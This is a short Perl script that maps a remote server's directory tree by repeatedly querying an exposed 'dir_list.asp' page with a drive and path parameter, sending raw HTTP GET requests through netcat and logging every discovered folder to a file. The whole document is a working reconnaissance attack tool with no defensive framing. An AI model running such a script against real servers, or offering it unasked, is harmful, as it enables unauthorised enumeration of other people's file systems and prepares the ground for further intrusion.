#!/usr/local/bin/perl
#
# Map directory structure using dir_list.asp
#
#
#
use LWP::UserAgent;

if ($#ARGV != 3) {
        print "Usage: $0 <target host> <drive> <starting directory> <output file>\n";
	print "<starting directory> much have \\ escaped\n";
        exit(1);
}

my $host = $ARGV[0];
my $drive = $ARGV[1];
my $sdir = $ARGV[2];
my $outfile = $ARGV[3];

my @Dirs;

open (OUT, ">$outfile") or die("unable to open $outfile: $!");

print OUT "Starting Directory Traversal...\n\n";
chomp $sdir;
@Dirs = &BuildStruct($sdir);
print OUT "\n\nFinished Directory Traversal\n";

sub BuildStruct() {
	my ($dir) = @_;
	my %DirStruct;
	print OUT "$dir\n";

	@{ $DirStruct{$dir} } = &GetDirs($dir);
	foreach (@{ $DirStruct{$dir} }) { &BuildStruct($_); }
}

sub GetDirs {
	my ($dir) = @_;
	my $target = "http://" . $host . '/dir_list.asp?DIR=' . $drive . "\\" . $dir;

	print "TARGET: $target\n";

	my(@content) = echoToNc(qq(GET $target));
	my @links;

        foreach (@content) { if (/dir_list.asp\?DIR=/i) { push @links, $_; } }
        foreach (@links) { /dir_list.asp.*?>(.*)<\/A>/i; $_ = $1; }

        foreach (@links) { $_ = $dir . "\\" .  $_; } 
        return(@links);
}

sub echoToNc {
        my($cmd) = @_;
        open CMD, ">/tmp/puttestin.$$.txt" or die "Can't open /tmp/puttestin.$$.txt: $!";
        print CMD "$cmd\n";
        print `nc $host 80 < /tmp/puttestin.$$.txt > /tmp/puttestout.$$.txt`;
        open (NC_OUT, "/tmp/puttestout.$$.txt") or die "Can't open /tmp/puttestout.$$.txt: $!";
        my(@lines)=<NC_OUT>;
        close(NC_OUT);
        return(@lines);
}
